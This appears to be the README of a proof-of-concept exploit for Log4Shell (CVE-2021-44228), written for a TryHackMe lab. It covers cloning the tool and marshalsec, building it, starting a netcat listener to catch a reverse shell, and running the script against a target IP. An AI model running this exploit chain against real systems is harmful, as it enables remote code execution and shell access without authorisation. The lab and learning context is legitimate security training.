POC for CVE-2021-44228
This python script was created while I was working on the TryHackMe room for Log4j. While this was created with default variables for this room, I used argparse to make the script versatile for a GET request. All necessary varaibles can be changed with different options, see -h for more information.
Setup
Only my script is hosted here, this requires two other downloads to run properly which I will give links for, but setting up the folders the way I did will allow the script to run without much effort. First create a log4j folder (or whatever name you want) then git clone this repo then move the poc.py into /log4j/.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
Next clone marshalsec, in the same directory you just created. And then build it using maven.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Lastly, you will need to download some version of Java 8. For this script, and the default value for -j is ‘jdk1.8.0_20’.
The new directory should look like this when everything is extracted.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
After this setup is complete. Note that if you would like or need to use a different version of java this can be done using -j NAME_OF_JAVA_FOLDER.
Usage
Help Menu
Included in the script is the payload provided in the THM room, change the IP/port to whatever you want to use.
Start a netcat listener to catch the shell on the port specified in the java_payload.
Start a python web server on port 8000
Example command:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
Example output and reverse shell:
